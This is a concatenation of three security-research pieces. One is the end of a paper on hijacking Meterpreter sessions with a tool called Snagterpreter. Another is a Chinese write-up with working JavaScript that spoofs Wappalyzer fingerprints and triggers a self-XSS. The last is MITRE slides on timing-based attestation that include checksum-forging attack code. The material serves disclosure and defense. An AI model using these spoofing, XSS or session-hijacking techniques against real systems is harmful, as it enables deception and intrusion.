Meterpreter can now be configured in a “paranoid mode” that requires the agent to verify the signature of the SSL web server that it is connecting to, allowing the penetration tester to deploy agents that will only complete connections to a verified listener. This mode is not yet widely used, however, due to it being a recent development as well a lack of general understanding of the susceptibility of non-“paranoid mode”. A Google search for meterpreter “paranoid mode” on 3/1/2016 resulted in less than 400 hits, the vast majority of which were not relevant to this feature, or reproduced the text of the Metasploit project’s description of the feature. PAGE 11 The Snagterpreter tool, developed by the author for this talk, gives an attacker in a position to monitor and modify traffic on a hostile network between the penetration tester and their target the ability to hijack non-“paranoid mode” Meterpreter sessions that have already been established. Snagterpreter supports hijacking Meterpreter sessions using the HTTP and HTTPS transports, and hands over interactive control of the session to the attacker. Once the attacker is done with a session the session can usually be returned to the penetration tester for continued and expected operation. The attack demonstrated by Snagterpreter can be mitigated most effectively by configuring Meterpreter payloads to use “paranoid mode”. Instructions for this can be found in the Metasploit wiki [7]. In the absence of using “paranoid mode” (which is newer than most learning materials used by penetration testers) a reasonable mitigation would be to avoid or minimize situations in which a malicious actor could intercept traffic. No materials reviewed made any reference to the potential or mitigation for attacks of this type. CONCLUSIONS In the course of this paper, and the corresponding presentation and demonstration, we have examined previous work in explaining the threats that penetration testers might encounter on engagements, and the risk posed to the testers and their clients. A study was undertaken of the most popular learning and reference materials for penetration testers, and significant shortcomings were found in guidance for securely conducting engagements. Recommendations have been made for improving the security of tests moving forward. Finally, a tool has been developed to demonstrate the very real risk that can be realized by using insecure practices. For a profession that specializes in reporting on vulnerabilities, it is important that a penetration testing firm should have its own house in order. You cannot have it both ways: you can’t report on vulnerabilities exploitable in situations involving malicious actors on the Internet intercepting and modifying traffic without also considering those scenarios in attacks on penetration testing operations. In order to provide secure services for clients, efforts must be made to improve tools, techniques, and processes. In turn, improvements must be made in training and reference material that define standard procedures. REFERENCES [1] Wesley McGrew, Pwn The Pwn Plug: Analyzing and Counter-Attacking Attacker-Implanted Devices, DEF CON 21, https://www.defcon.org/images/defcon-21/dc-21-presentations/McGrew/DEFCON-21- McGrew-Pwn-The-Pwn-Plug-WP.pdf [2] Wesley McGrew, I Hunt Penetration Testers: More Weaknesses in Tools and Procedures, DEF CON 23, https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON-23- Wesley-McGrew-I-Hunt-Penetration-Testers-WP.pdf [3] Multiple authors, The Penetration Testing Execution Standard, http://pentest-standard.org [4] Metasploit: Penetration Testing Software http://metasploit.com [5] Metasploit Framework Wiki, Meterpreter, https://github.com/rapid7/metasploit-framework/wiki/Meterpreter [6] HD Moore, Meterpreter HTTP/HTTPS Communication, https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication [7] Meterpreter Paranoid Mode, https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode [8] NIST SP 800-115, Technical Guide to Information Security Testing and Assessment, http://csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf [9] ISECOM, OSSTMM 3 – Open Source Security Testing Methodology Manual, http://www.isecom.org/research/osstmm.html [10] Penetration Test Guidance Special Interest Group, PCI Data Security Standard – Information Supplement: Penetration Testing Guidance, https://www.pcisecuritystandards.org/documents/Penetration_Testing_Guidance_March_2015.pdf [11] The Penetration Testing Execution Standard, http://pentest-standard.org [12] Thomas Wilhelm, Professional Penetration Testing, Second Edition @HORNECyber ABOUT THE AUTHOR Wesley McGrew, Ph.D. Wesley serves as the director of cyber operations for HORNE Cyber Solutions. Known for his work in offensive information security and cyber operations, Wesley specializes in penetration testing, network vulnerability analysis, exploit development, reverse engineering of malicious software and network traffic analysis.
pdf
你怎么知道Wappalyzer是不是在骗你? Wappalyzer插件检测原理 插件是开源的 https://github.com/wappalyzer/wappalyzer readme中提到会收集cookie,dom,js,css,header等数据,通过既定规则匹配,实现获取信息并匹 配版本 其中js和dom比较特别,这里以js为例分析 https://github.com/wappalyzer/wappalyzer/blob/v6.10.18/src/drivers/webextension/js/content.js #L36-L42 会插入一个 js/js.js 到前端去执行 https://github.com/wappalyzer/wappalyzer/blob/v6.10.18/src/drivers/webextension/js/js.js 代码比较长,简化代码逻辑如下 可以看到,这个js会启动监听message,插件后台会将指纹规则postMessage的方式传到前端,又前端 进行指纹匹配,将结果用postMessage传回后台 function getJs(technologies) {  return inject('js/js.js', 'js', {    technologies: technologies     .filter(({ js }) => Object.keys(js).length)     .map(({ name, js }) => ({ name, chains: Object.keys(js) })), }) } /* eslint-env browser */ ;(function () {  try {    const onMessage = ({ data }) => {      检查data是否是指纹规则      removeEventListener('message', onMessage)      postMessage({        wappalyzer: {          js: 执行指纹规则的结果       },     })   }    addEventListener('message', onMessage) } catch (e) {    // Fail quietly } })() 伪造指纹 那么我们也可以手动postMessage一些数据去伪造指纹匹配结果 由于wappalyzer收到规则后会删除监听,可以hook removeEventListener 函数,在调用时就可以手 动postMessage伪造指纹 // hook removeEventListener let rel = removeEventListener; removeEventListener = (name, func, opt) => {  if (    name === "message" &&    func &&    func.toString().includes("wappalyzer.technologies") !== -1 &&    func.toString().includes("removeEventListener") !== -1 &&    func.toString().includes("__UNDEFINED__") !== -1 &&    func.toString().includes("postMessage") !== -1 ) {    poc();    rel(name, func, opt); } else {    rel(name, func, opt); } }; const poc = () => {  postMessage({    wappalyzer: {      js: [       {          name: "jQuery",          chain: "$.fn.jquery",          value: "99.99.99",       },     ],   }, }); }; 同样的道理,把指纹库里的全部post过去就有全部指纹了 XSS 仔细观察执行js指纹规则的代码 technologies.reduce((technologies, { name, chains }) => {            chains.forEach((chain, index) => {              const value = chain               .split('.')               .reduce(                 (value, method) =>                    value &&                    value instanceof Object &&                    Object.prototype.hasOwnProperty.call(value, method)                      ? value[method]                     : '__UNDEFINED__',                  window               )              if (value !== '__UNDEFINED__') {                technologies.push({                  name,                  chain, technologies 其实是从message里取的,因为检查比较弱,也就是可控的,打个断点可以看到数据结 构 value[method] 其实就是执行 xxxx1.xxxx2 利用 getter 可以在这里实现执行任意代码 执行 bad.xss 就可以触发 至于触发时机,由于一旦收到message,listener就会被删除,只要在后台发送指纹规则之前发送poc就 可以了 所以可以hook addEventListener ,在添加完后立刻发送poc触发                  value:                    typeof value === 'string' || typeof value === 'number'                      ? value                     : !!value,               })             }           })            return technologies         }, []), {    wappalyzer: {      technologies: [           {          name: "xxxx",          chains: [                    "xxxx1.xxxx2"               ],           },       ],   }, } window.bad = {  get xss() {    alert("xss!"); }, }; // hook addEventListener let rel = addEventListener; addEventListener = (name, func, opt) => {  if (    name === "message" &&    func &&    func.toString().includes("wappalyzer.technologies") !== -1 &&    func.toString().includes("removeEventListener") !== -1 &&    func.toString().includes("__UNDEFINED__") !== -1 &&    func.toString().includes("postMessage") !== -1 可惜只能是self xss,没啥大用 demo https://wappalyzer.demo.xlab.app https://github.com/ttttmr/spoof-wappalyzer ) {    rel(name, func, opt);    poc(); } else {    rel(name, func, opt); } }; window.bad = {  get xss() {    alert("xss!"); }, }; const poc = () => {  postMessage({    wappalyzer: {      technologies: [       {          name: "xss",          chains: ["bad.xss"],       },     ],   }, }); };
pdf
©  2012  The  MITRE  Corpora2on.  All  rights  reserved. No  More  Hooks: Trustworthy  Detec2on  of Code  Integrity  AGacks Xeno  Kovah,  Corey  Kallenberg, Chris  Weathers,  Amy  Herzog, MaGhew  Albin,  John  BuGerworth © 2012 The MITRE Corporation. All rights reserved. Security  SoPware Malicious  SoPware Dear  everyone: This  system  is Infected! 2 © 2012 The MITRE Corporation. All rights reserved. Security  SoPware Malicious  SoPware I  don't  like  you. You  are annoying. 3 © 2012 The MITRE Corporation. All rights reserved. Security  SoPware Malicious  SoPware I  don't  like  you. You  are annoying. *scribble* *scribble* *scribble* 4 © 2012 The MITRE Corporation. All rights reserved. Security  SoPware Malicious  SoPware Dear  everyone: This  system  is A-­‐OK! 5 © 2012 The MITRE Corporation. All rights reserved. Security  SoPware Malicious  SoPware That's  what  I'm talkin'  'bout (Bruce)  Willis! 6 © 2012 The MITRE Corporation. All rights reserved. Security  SoPware Malicious  SoPware Checkmate *scan* *scan* *scan* Security SoPware  is compromised! 7 © 2012 The MITRE Corporation. All rights reserved. Security  SoPware Malicious  SoPware Checkmate You  are similarly annoying! *scribble* *scribble* *scribble* 8 © 2012 The MITRE Corporation. All rights reserved. Security  SoPware is  OK. Security  SoPware Malicious  SoPware Checkmate *scan* *scan* *scan* Don't  believe  me! I'm  compromised! 9 © 2012 The MITRE Corporation. All rights reserved. Security  SoPware Malicious  SoPware Checkmate Are  you  kidding me?  F*&@^  self-­‐ checking  tricorder… This  is  ridiculous! *scribble* *scribble* *scribble* 10 © 2012 The MITRE Corporation. All rights reserved. Security  SoPware is  OK. Security  SoPware Malicious  SoPware Checkmate I…am…O…K… 11 © 2012 The MITRE Corporation. All rights reserved. Timing-­‐Based  AGesta2on (aka  SoPware-­‐Based  AGesta2on) •  Based  on  concept  of  Pioneer  by  Seshadri  et  al. •  Assump2ons –  You  can  know  the  client  hardware  profile –  Your  self-­‐check  is  the  most  op2mized  implementa2on •  Implemented  from  scratch,  independently confirmed  previous  results. •  Source  code  is  released  so  we  can  work  with other  researches  to  validate/improve  it. •  hGp://code.google.com/p/2ming-­‐aGesta2on 12 © 2012 The MITRE Corporation. All rights reserved. NiGy  GriGy  How  Does  it  Work? •  The  self-­‐check  is  hand  coded  asm  to  try  to build  a  2ming  side-­‐channel  into  its  execu2on •  The  system  measurements  are  things  like  you would  fine  in  any  memory  integrity  checking soPware  like  MS's  PatchGuard,  Mandiant's MIR,  or  HBGary's  Ac2ve  Defense. •  We're  going  to  focus  on  the  self-­‐check, because  that's  what  we  have  that  others  don't 13 © 2012 The MITRE Corporation. All rights reserved. First  principles  1 •  "I  want  to  know  that  my  code  isn't  changed  while it's  running" •  Malware  does  this  by  self-­‐checksumming  or  even self-­‐2ming  with  an  rdtsc  instruc2on.  This commonly  detects  hardware  and  soPware breakpoints. •  Problem:  An  aGacker  (from  malware's perspec2ve  the  analyst,  from  our  perspec2ve, malware)  can  just  force  the  check  to  always succeed. 14 © 2012 The MITRE Corporation. All rights reserved. Original  code int  main(){ foo  =  Selfcheck(); if(foo  ==  0x12341234){ DoSomething(); return  SUCCESS; } else{ return  FAILURE; } } 15 © 2012 The MITRE Corporation. All rights reserved. AGacker  rewrites  code int  main(){ foo  =  Selfcheck();  foo  =  0x12341234; if(foo  ==  0x12341234){ DoSomething(); return  SUCCESS; } else{ return  FAILURE; } } 16 © 2012 The MITRE Corporation. All rights reserved. First  principles  2 •  At  this  point  basically  everyone  gives  up,  and just  goes  with  code  obfusca2on. •  We  go  with – 1)  making  the  self-­‐check  a  func2on  of  a  nonce – 2)  controlling  the  execu2on  environment  to  yield highly  predictable  run2me – 3)  just  let  the  code  run,  and  evaluate  whether  it was  tampered  with  back  at  a  remote  server, based  on  the  self-­‐checksum  AND  the  run2me 17 © 2012 The MITRE Corporation. All rights reserved. New  outline  for  code int  main(){  int  selfchecksum[6];  nonce  =  WaitForMeasurementRequestFromVerifier(); Selfcheck(&selfchecksum,nonce); SendResultsToVerifier(selfchecksum,nonce); results  =  DoSomething(); SendResultsToVerifier(results); return  SUCCESS; } 18 © 2012 The MITRE Corporation. All rights reserved. Thoughts  on  the  nonce •  No  single  correct  value  that  the  aGacker  can send-­‐back  to  indicate  the  code  is  intact •  Large  nonce  and/or  self-­‐checksum  size reduces  probability  of  encountering precomputa2on  aGacks – AGacker  needs  to  store  2^32*192  bits  (96GB)  in RAM  for  a  32  bit  precomputa2on  or  2^64*384  bits (768  Zetabytes)  for  our  64  bit  implementa2on 19 © 2012 The MITRE Corporation. All rights reserved. What  should  we  actually  read  to indicate  the  code  is  unmodified? •  A  pointer  which  points  at  our  own  code –  We  will  call  this  DP  for  data  pointer –  This  indicates  the  memory  range  where  our  code  is execu2ng  from.  Original  Pioneer  assumed  it  was  in  a  fixed loca2on  that  we  could  know,  but  on  Widows,  no  such  luck (ASLR  &  faux  ASLR) •  Our  own  code  bytes –  We  will  call  this  *DP  (C  syntax)  or  [DP]  (asm  syntax)  to indicate  we're  dereferencing  the  data  pointer •  Our  instruc2on  pointer  (EIP) –  This  also  indicates  the  memory  range  where  our  code  is execu2ng  from.  Should  generally  agree  with  DP. 20 © 2012 The MITRE Corporation. All rights reserved. Selfcheck()  .01 void  Selfcheck(int  *  selfchecksum,  int  nonce){  int  *  DP  =  GetMyCodeStart();  int  *  end  =  GetMyCodeEnd();  while(DP  <  end){  selfchecksum[0]  +=  nonce;  selfchecksum[1]  +=  *DP;  __asm{  call  $+5;  pop  eax;  mov  EIP,  eax;}  selfchecksum[2]  +=  EIP;  mix(selfchecksum);  DP++;  } } 21 © 2012 The MITRE Corporation. All rights reserved. Problems  with  Selfcheck()  .01 •  It's  parallelizable.  An  aGacker  can  add compute  power  from  the  GPU  or  any  other processing  we're  not  using  to  counteract  any 2me  he  may  incur  by  forging  the  self-­‐ checksum – We  can  counter  this  with  "strongly  ordered func2on"  like  A  +  B  C  +  D  E  +  F  etc.  Because the  longer  the  chain,  the  less  likely ((((A+B)  C)+D)  E)+F)==(A+B)  (C+D)  (E+F)  for instance. 22 © 2012 The MITRE Corporation. All rights reserved. Problems  with  Selfcheck()  .01 •  There  is  poten2ally  lots  of  wasted  cycles,  so an  aGacker  may  be  able  to  add  an  if()  case with  no  overhead. – So  we  need  to  handcode  assembly,  and  try  to make  sure  it  is  using  as  much  of  the microarchitecture  components  as  possible  so there  is  no  "free"  computa2on  available  to  an aGacker.  Otherwise  he  can  just  do… 23 © 2012 The MITRE Corporation. All rights reserved. Selfcheck()  .01  aGack void  Selfcheck(int  *  selfchecksum,  int  nonce){  int  *  DP  =  GetMyCodeStart();  int  *  end  =  GetMyCodeEnd();  while(DP  <  end){  selfchecksum[0]  +=  nonce;  if(DP  ==  badbits)  selfchecksum[1]  +=  cleanbits;  else  selfchecksum[1]  +=  *DP;  __asm{  call  $+5;  pop  eax;  mov  EIP,  eax;}  selfchecksum[2]  +=  EIP;  mix(selfchecksum);  DP++;  } } 24 © 2012 The MITRE Corporation. All rights reserved. Network  Timing  Implementa2on Server Client Measurement  Type:  FOO, Nonce  =  0xf005ba11 Selfcheck  (Nonce  =  0xf005ba11) Self-­‐Checksum, Nonce  =  0xf005ba11 FOO  measurement FOO  measurement  results Time Δt 25 © 2012 The MITRE Corporation. All rights reserved. Network  Timing  Implementa2on (with  aGack) Server Client Measurement  Type:  FOO, Nonce  =  0xf005ba11 Selfcheck  (Nonce  =  0xf005ba11) Selfchecksum, Nonce  =  0xf005ba11 FOO  measurement FOO  measurement  results Time Δt 26 © 2012 The MITRE Corporation. All rights reserved. One  more  problem  with  Selfcheck()  .01 •  Also,  no2ce  that  EIP  will  actually  always  be  the exact  same  value  each  2me  through  the  loop.  So the  aGacker  could  create  his  own  checksum rou2ne  off  to  the  side,  which  instead  of calcula2ng  EIP,  just  hardcodes  it  based  on wherever  the  self-­‐check  got  loaded  into  memory. –  We  need  to  make  it  so  that  the  aGacker  can't hardcode  the  EIP.  We  can  do  this  by  breaking  the  self-­‐ check  into  mul2ple  blocks,  and  pseudo-­‐randomly picking  a  different  block  each  2me  through  the  loop 27 © 2012 The MITRE Corporation. All rights reserved. 28 From  A.  Seshadri,  M.  Luk,  E.  Shi,  A.  Perrig,  L.  van  Doorn,  and  P.  Khosla. Pioneer:  verifying  code  integrity  and  enforcing  untampered  code  execu2on  on  legacy  systems. © 2012 The MITRE Corporation. All rights reserved. PRNG •  But  now  we  need  a  pseudo-­‐random  number generator,  seeded  by  our  nonce. •  We  used  the  same  one  Pioneer  did: •  PRNnew  =  PRNcurrent  *  (PRN2 current  OR  5) 29 © 2012 The MITRE Corporation. All rights reserved. New  self-­‐check  .02  pseudocode Prolog(); BLOCK0_MACRO  (expanded)  if(loopcounter  ==  0)  jmp  done;  //This  used  to  be  our  while  loop  loopcounter-­‐-­‐;  add  ecx,  [esp];  //aPer  this  ecx  (accumulator)  =  EIP_SRC  +  EIP_DST  xor  ecx,  PRN;  //ecx  =  EIP_SRC  +  EIP_DST  XOR  PRN  add  ecx,  DP;  //ecx  =  EIP_SRC  +  EIP_DST  XOR  PRN  +  DP  xor  ecx,  [DP];  //ecx  =  EIP_SRC  +  EIP_DST  XOR  PRN  +  DP  XOR  [DP]  updatePRN();  //New  PRN  in  each  block  updateDP();  //We  pick  a  new  DP  based  on  the  PRN  mix(selfchecksum,ecx);  //Rotates  checksum  by  1  bit  to  add  diffusion  ecx  =  block0Base  +  (blockSize*(PRN  &  3));  //Calc  next  block  based  on  PRN  call  ecx;  //goto  next  block,  EIP_DST  in  ecx,  EIP_SRC  on  stack BLOCK1_MACRO BLOCK2_MACRO … BLOCK7_MACRO done: Epilog(); 30 © 2012 The MITRE Corporation. All rights reserved. Public  released  self-­‐check 31 © 2012 The MITRE Corporation. All rights reserved. Memory  Copy  AGacks 32 AGacker  gets free  DP  or  EIP forgery  thanks to  ASLR. We  had  the least  overhead with  this  aGack By  defini2on, more  overhead than  (b)  or  (c). Not  a  good  idea. Figure  From  Pioneer © 2012 The MITRE Corporation. All rights reserved. VFUNC Filter Packet Measure System Original  copy  of  self-­‐checking kernel  module How  it  works  without  aGacker Verifier  1 Call Send(Selfchecksum) Send(BaseVA=0x1000) 2  3 ret  4 call Send(Measurement) 5 MeasurementRequest Nonce  =  0xf005ba11  I N T R A N E T BaseVA =  0x1000 © 2012 The MITRE Corporation. All rights reserved. VFUNC Filter Packet Measure System Original  copy  of  self-­‐checking kernel  module MeasurementRequest Nonce  =  0xf005ba11 Our  current  fastest  PoC  aGack (built  into  the  public  released  code  for  easy  toggling)  1 Call Send(Selfchecksum) Send(BaseVA=0x2000) 3  4 ret  5 call Send(Measurement) (lies  that  system  is  clean) 6  I N T R A N E T Clean  copy  of  complete kernel  module EVILVFUNC Inline  Hook BaseVA =  0x1000 BaseVA =  0x2000  2 jmp DP  (free  forgery) Corrupted EVILVFUNC  forges  EIP to  be  at  the  right  offset In  the  lied-­‐about  DP  range FORGED VFUNC  EIP RANGE © 2012 The MITRE Corporation. All rights reserved. Other  tricks •  Not  discussed  in  depth  due  to  lack  of  2me,  see  our  full  paper,  the related  work,  and  the  source  code •  "The  stack  trick"  –  if  you  store  part  of  your  self-­‐checksum  *below* esp,  then  you  can  guarantee  that  if  someone  causes  an  interrupt during  your  execu2on,  part  of  the  self-­‐checksum  will  be  destroyed •  Put  PRN  into  DR7  and  read  it  to  prevent  cost-­‐free  use  of  hardware breakpoints •  Read  parent  and  grandparent  return  addresses  off  the  stack, otherwise  when  the  self-­‐check  is  done  it  will  return  to  aGacker code  (important  for  TOCTOU  as  described  in  a  liGle  bit) •  Addi2onal  control  flow  integrity  comes  from  doing  a  mini-­‐ checksum  over  3rd  party  modules  which  we  depend  on,  or  that  we indirectly  depend  on.  So  if  we  depend  on  ntoskrnl.exe  and  it depends  on  hal.dll,  then  we  measure  parts  of  both. 35 © 2012 The MITRE Corporation. All rights reserved. Some  stuff  that's  been  suggested  that  we tried  but  ul2mately  backed  away  from •  Polymorphic  self-­‐check  code –  Because  due  to  the  cache  misses  and  branch  mispredic2ons, this  increases  the  absolute  run2me  of  the  code.  Also,  the aGacker  can  implement  a  non-­‐polymorphic  forgery  which  is  way faster  thanks  to  no  cache  misses  (we  implemented  such  an aGack) •  Exploi2ng  the  memory  hierarchy  by  filling  instruc2on  and data  cache  to  capacity –  Because  unless  you  have  sufficient  unique  order  of  inclusion  into self-­‐checksum  block  variants  to  fill  the  cache,  the  aGacker  can avoid  cache  spillage  by  just  making  his  aGack  have  a  1x  copy  of each  of  your  unique  blocks,  and  then  keeping  track  of  the  order that  the  blocks  would  execute  in  (we  implemented  such  an aGack) 36 © 2012 The MITRE Corporation. All rights reserved. So  what  are  the  new  results? •  Countered  some  previous  aGacks  (Castelluccia  et  al.)  and  some  new ones  we  came  up  with –  Implementa2on  lessons  learned  and  design  decisions  will  be documented  in  a  future  journal  paper. •  Demonstrated  that  the  system  can  work  without  being  NIC-­‐specific (Pioneer  was  built  into  an  open  source  NIC  driver.) •  Showed  that  it  can  work  over  10  network  links  of  a  produc2on enterprise  LAN  (Pioneer  said  it  worked  over  "same  ethernet segment") •  Benchmarked  the  aGesta2on  to  see  the  effects  on  network throughput,  filesystem  read/write  performance,  and  CPU benchmarking  applica2ons •  Made  the  first  implementa2on  for  TPM-­‐based  2ming-­‐based aGesta2on  (Schellekens  et  al.  proposed  it  but  didn't  implement anything.) •  Defined  the  rela2on  of  TOCTOU  to  exis2ng  and  new  aGacks  so defenses  can  be  beGer  researched. 37 © 2012 The MITRE Corporation. All rights reserved. Icons  from  hGp://nag.ru/goodies/manuals/Cisco-­‐icons.ppt Network  Topology Server Switch Client 1  link Client 2  links Client 8  links Client 10  links Client 3  links Switch Switch Switch Switch Router (Core) Switch Router (building  2) Switch Router (building1) Links  to  client  or  server  are  copper. All  other  links  are  fiber. 38 © 2012 The MITRE Corporation. All rights reserved. Can  we  detect  the  reference  aGacker  over  the maximum  hop  count  on  our  Virginia  campus? 109000 110000 111000 112000 113000 114000 115000 116000 0 100 200 300 400 Measurement RTT (us) Measurement number Attack Absent Attack Absent Attack Present 39 © 2012 The MITRE Corporation. All rights reserved. Can  we  detect  the  reference  aGacker  over  the maximum  hop  count  on  our  Virginia  campus? 109000 110000 111000 112000 113000 114000 115000 116000 0 100 200 300 400 Measurement RTT (us) Measurement number Attack Absent Attack Absent Attack Present Upper  bound  of  expected  2ming Lower  bound  of  expected  2ming 40 © 2012 The MITRE Corporation. All rights reserved. Can  we  detect  the  reference  aGacker  over  the maximum  hop  count  on  our  Virginia  campus? 109000 110000 111000 112000 113000 114000 115000 116000 0 100 200 300 400 Measurement RTT (us) Measurement number Attack Absent Attack Absent Attack Present What  are  those? 41 © 2012 The MITRE Corporation. All rights reserved. Can  we  detect  the  reference  aGacker  over  the maximum  hop  count  on  our  Virginia  campus? 109000 110000 111000 112000 113000 114000 115000 116000 0 100 200 300 400 Measurement RTT (us) Measurement number Attack Absent Attack Absent Attack Present What  are  those? 42 © 2012 The MITRE Corporation. All rights reserved. Can  we  use  a  single  bound  for  measurement 2mes  anywhere  on  our  network? 110000 110500 111000 111500 112000 112500 113000 113500 0 50 100 150 200 Measurement RTT (us) Measurement number Attack Absent Attack Present "host1_1link" "host2_1link" "host1_2links" "host2_2links" "host1_3links" "host2_3links" "host1_8links" "host2_8links" "host1_10links" "host2_10links" 43 © 2012 The MITRE Corporation. All rights reserved. Can  we  use  a  single  bound  for  measurement 2mes  anywhere  on  our  network? 110000 110500 111000 111500 112000 112500 113000 113500 0 50 100 150 200 Measurement RTT (us) Measurement number Attack Absent Attack Present "host1_1link" "host2_1link" "host1_2links" "host2_2links" "host1_3links" "host2_3links" "host1_8links" "host2_8links" "host1_10links" "host2_10links" Upper  Bound Lower  Bound 44 © 2012 The MITRE Corporation. All rights reserved. Trusted  Plaƒorm  Module  (TPM)  Timing  Implementa2on Server Client TPM  Tickstamp Nonce  =  0xf005ba11 Self-­‐Check  (nonce  =  signature) Signed  Tickstamp  1  &  2 Self-­‐Checksum Nonce  =  0xf005ba11 TPM Request  Tickstamp(0xf005ba11) Signed  Tickstamp  1 Request  Tickstamp(Self-­‐Checksum) Signed  Tickstamp  2 Time Δt 45 © 2012 The MITRE Corporation. All rights reserved. TPM  Implementa2on  –  Single  Host 780 782 784 786 788 790 792 794 796 798 800 1 51 101 151 201 251 301 351 TPM  Pcks Measurement  number 46 © 2012 The MITRE Corporation. All rights reserved. TPM  Implementa2on  –  Single  Host 780 782 784 786 788 790 792 794 796 798 800 1 51 101 151 201 251 301 351 TPM  Pcks Measurement  number Why  did  the  median  go  down by  1  aPer  the  aGack? 47 © 2012 The MITRE Corporation. All rights reserved. TPM  Implementa2on  –  32  Hosts 780 800 820 840 860 880 1 51 101 151 201 251 301 351 TPM  Pcks Measurement  number 48 © 2012 The MITRE Corporation. All rights reserved. TOCTOU AGacker  moves  out  of  the  way,  just  in  2me 49 © 2012 The MITRE Corporation. All rights reserved. Condi2ons  for  TOCTOU •  1)  The  aGacker  must  know  when  the measurement  is  about  to  start. •  2)  The  aGacker  must  have  some  un-­‐measured loca2on  to  hide  in  for  the  dura2on  of  the measurement. •  3)  The  aGacker  must  be  able  to  reinstall  as soon  as  possible  aPer  the  measurement  has finished. 50 © 2012 The MITRE Corporation. All rights reserved. Security  SoPware is  OK. Security  SoPware Malicious  SoPware Checkmate I…am…O…K… 51 © 2012 The MITRE Corporation. All rights reserved. Security  SoPware Malicious  SoPware Checkmate Oh,  you're  about  to do  a  self-­‐check?  Let me  just… *erase* *erase* *erase* 52 *erase* *erase* *erase* © 2012 The MITRE Corporation. All rights reserved. Security  SoPware is  OK. Security  SoPware Malicious  SoPware Checkmate *scan* *scan* *scan* I'm  OK 53 *scan* *scan* *scan* © 2012 The MITRE Corporation. All rights reserved. Security  SoPware Malicious  SoPware Checkmate Done?  Good.  Let  me just… *scribble* *scribble* *scribble* 54 *scribble* *scribble* *scribble* © 2012 The MITRE Corporation. All rights reserved. What  regal  clothes  you  have,  Emperor •  Most  soPware's  TOCTOU  defense  is  just  assuming  it  away. –  Violate  our  assump2on  that  the  aGacker  can  get  to  the  same  level as  the  security  soPware.  and  then  for  instance  pull  the measurement  agent  out  to  a  VMM  for  instance.  Then  maybe  the aGacker  can't  see  a  measurement  is  about  to  start.  If  the  aGacker can  get  to  the  VMM,  same  problem. –  In  the  phone/embedded  systems  realm  (FatSkunk/SWATT)  they have  tried  to  measure  the  full  contents  of  RAM  to  implicitly counter  TOCTOU  condi2on  2.  But  that's  not  really  prac2cal  for  PCs due  to  the  amount  of  2me  necessary,  and  the  "measure  all"  is  of dubious  u2lity.  (How  do  you  validate  that  a  chunk  of  heap containing  code  of  func2on  pointers  is  the  "correct"  value?) •  Control  flow  integrity  viola2on  serves  as  an  enabler  for TOCTOU  aGacks 55 © 2012 The MITRE Corporation. All rights reserved. Ques2ons? •  {xkovah,ckallenberg}  at  mitre.org •  hGp://code.google.com/p/2ming-­‐aGesta2on •  P.s.  hGp://OpenSecurityTraining.info –  x86  assembly/architecture  &  rootkits  classes  (Xeno) –  Exploits  classes  (Corey) –  TPM  class  (Ariel) –  VT-­‐x  class  (David) –  Intro  RE/Malware  Sta2c  Analysis  classes  (MaG  &  Frank) –  And  many  others 56 © 2012 The MITRE Corporation. All rights reserved. Backup  slides 57 © 2012 The MITRE Corporation. All rights reserved. Where  else  has  this  been  used? •  Embedded  systems  (A.  Seshadri,  A.  Perrig,  L.  van  Doorn,  and  P.  Khosla.  SWATT:  SoPware-­‐ based  aGesta2on  for  embedded  devices)  &  wireless  sensors  (M.  Shaneck,  K.  Mahadevan, V.  Kher,  and  Y.  Kim.  Remote  soPware-­‐based  aGesta2on  for  wireless  sensors,  Y.  Choi,  J.  Kang,  and  D.  Nyang. Proac2ve  code  verifica2on  protocol  in  wireless  sensor  network.) •  SCADA  (A.  Shah,  A.  Perrig,  and  B.  Sinopoli.  Mechanisms  to  provide  integrity  in  SCADA  and  PCS  devices) •  Keyboards  to  counter  BlackHat  talk!(Y.  Li,  J.  M.  McCune,  and  A. Perrig.  SBAP:  SoPware-­‐Based  AGesta2on  for  Peripherals.) •  Android  Phones  (M.  Jakobsson  and  K.-­‐A.  Johansson.  Prac2cal  and  secure  soPware-­‐based aGesta2on.) 58 © 2012 The MITRE Corporation. All rights reserved. Future  Work (Stop  trying  to  hit  me,  and  hit  me!) •  Use  analysis-­‐2ming-­‐constrained  control  flow,  e.g. TEAS  by  Garay  &  Huelsbergen,  to  combat TOCTOU  condi2on  1 •  Use  mul2ple  processors  in  parallel  to  combat TOCTOU  condi2on  3 Processor  1 Processor  2 … Processor  n Time Self-­‐check  1 Self-­‐check  2 Self-­‐check  n •  Inves2gate  2ming-­‐based  aGesta2on  lower  level  in  the system  (e.g.  BIOS  &  SMM) 59 © 2012 The MITRE Corporation. All rights reserved. Who  we  would  like  to  hear  from •  All  of  you  –  How  can  we  build  beGer  aGacks against  our  PoC  implementa2on?  How  can  we combat  TOCTOU  in  a  more  generic  way? •  Intel/AMD  –  How  can  we  further  op2mize  our assembly? •  MicrosoP  –  Is  there  anything  we  should  be doing  with  our  NDIS  driver  to  op2mize  it? Could  you  using  2ming-­‐based  aGesta2on  to detect  PatchGuard  being  disabled? 60 © 2012 The MITRE Corporation. All rights reserved. Proxy  AGacks Server Compromised Client Measurement  Type:  FOO, Nonce  =  0xf005ba11 Time Δt Faster  Client Measurement  Type:  FOO, Nonce  =  0xf005ba11 Self-­‐Check (Nonce  =  0xf005ba11) Self-­‐Checksum, Nonce  =  0xf005ba11 Self-­‐Checksum, Nonce  =  0xf005ba11 61 © 2012 The MITRE Corporation. All rights reserved. TPM  Timing  Implementa2on  Proxy  AGack Server Slow  Client TPM  Tickstamp Nonce  =  0xf005ba11 Signed  Tickstamp  1  &  2 Self-­‐Checksum Nonce  =  0xf005ba11 TPM Request Tickstamp(0xf005ba11) Signed  Tickstamp  1 Request  Tickstamp(checksum[0]) Signed  Tickstamp  2 Time Δt Request  Self-­‐Check  (nonce  =  signature) Fast  Client Self-­‐Check (nonce  = signature) Self-­‐Checksum 62
pdf
